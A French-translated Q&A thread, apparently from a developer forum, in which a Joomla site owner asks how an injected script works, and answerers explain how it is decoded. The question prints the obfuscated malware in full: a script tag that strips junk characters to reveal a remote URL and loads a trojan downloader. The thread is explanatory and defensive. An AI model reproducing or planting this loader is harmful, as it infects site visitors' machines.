Mon Joomla! site Web a été piraté à plusieurs reprises. Quelqu'un, d'une manière ou d'une autre, a réussi à injecter les déchets suivants dans les scripts PHP clés, mais je veux dire ne pas parler de configuration de Joomla. Le site n'est pas beaucoup visité (je crains parfois d'être le seul visiteur de ce site ...) et je ne me soucie pas beaucoup de la réactivation du site. Je m'en occuperai éventuellement.
Ma question est la suivante: comment fonctionnent ces déchets? Je le regarde et je ne vois tout simplement pas comment cela fait du mal? Ce qu'il fait, c'est qu'il essaie de télécharger un fichier PDF appelé ChangeLog.pdf, qui est infecté par un cheval de Troie et qui, après ouverture, gèlera votre Acrobat et fera des ravages sur votre machine. Comment fait-il ça, je ne sais pas, je m'en fiche. Mais comment le script suivant appelle-t-il le téléchargement?
<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->
ESET a détecté ce code en tant que cheval de Troie JS / TrojanDownloader.Agent.NRO
la source
Réponses:
Notez l'
replace
appel après la chaîne de désordre géant:.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
.Il supprime la plupart des caractères spéciaux, le transformant en une URL normale:
(J'ai changé manuellement
http:
enevil:
)Notez que l'expression régulière aurait pu être simplifiée en
.replace(/[#$@^&()!]/ig, '')
Si vous regardez le script, vous verrez qu'il s'agit d'un script très simple qui injecte un IFRAME caché contenant le chemin
/index.php?ys
du même domaine.J'ai demandé cette page dans Fiddler, et elle n'avait aucun contenu.
la source
+
après la classe de caractères ... si j'utilisais regex.Ces réponses peuvent vous aider à comprendre la nature du code JavaScript malveillant, mais vous devriez rechercher un moyen de combler la faille inhérente au moteur Joomla. Les frameworks pré-packagés sont sujets à des failles, intentionnelles ou non, en particulier lorsque vous prenez en compte le fait qu'ils sont conçus pour fonctionner sur des environnements Unix, Mac et Windows.
Mon travail exige que je gère de nombreux domaines, applications et frameworks sur de nombreux types de serveurs et de systèmes pour les clients et moi-même. Au fil du temps, j'ai vu de plus en plus de robots explorer ces systèmes à la recherche de failles / entrées connues par le biais d'entrées dérobées créées par ces cadres. Bonne chose quand j'utilise n'importe quel type de framework, ce que je fais rarement, je m'assure de renommer la plupart sinon la totalité de la structure de fichier pour me débarrasser de ces fâcheuses failles / portes dérobées. À tout le moins, vous pouvez renommer les répertoires, ce qui rejettera la plupart des robots, mais ma façon est d'éliminer complètement les références qui donnent des indices sur la nature du cadre, ce qui comprend le changement de nom de la structure de fichiers entière et pas seulement des répertoires. Gardez toujours une carte des nouvelles conventions de dénomination par rapport aux anciennes conventions de dénomination afin de faciliter l'ajout de plug-ins à votre infrastructure de base. Une fois que vous avez compris cela, vous pouvez aller jusqu'à renommer par programme l'ensemble de la structure de fichiers du framework pour des résultats plus rapides, cela est particulièrement utile lorsque vous devez traiter avec des clients qui doivent être en mesure de mettre à jour leur framework avec des plug-ins et autres.
la source
Il fait juste un remplacement regex sur l'URL du script pour vous donner
REMARQUE: NE SUIVEZ PAS LE LIEN CI-DESSOUS (inséré
**
pour dissuader les copieurs-colleurs)comme le
src
la source
Il utilise la fonction replace pour remplacer les caractères inutiles en utilisant regex, rien de mal avec le code:
la source
Son script de chargement de
Et ce script se charge
iframe
avec visibilitéhidden
la source
Lorsque vous lisez le tout, vous constatez qu'il s'agit d'une chaîne suivie d'une commande de remplacement.
la source
J'ai le même sript sur mes pages dans des fichiers index *. *. J'écris mon propre code en PHP. Ma question n'est pas de savoir comment cela fonctionne, mais je demande comment protéger si vous connaissez leurs portes dérobées. J'ai changé de formulaire et lu $ _POST et $ _GET en remplaçant <> et http: // etc.
la source
Mes deux centimes. Avez-vous / pouvez-vous installer un outil de sauvegarde Joomla tel que Joomlapack?
Je l'ai configuré pour qu'il s'exécute via un script CHRON pour garder les marchandises à portée de main au cas où les agresseurs se livreraient à une agression.
Quelle version de Joomla utilisez-vous?
Les versions 1.0.X ne sont plus mises à jour et leur âge commence vraiment à apparaître. Vous vous devez de faire une sauvegarde et de prévoir de passer à la version 1.5 et d'anticiper les merveilles de la 1.6
la source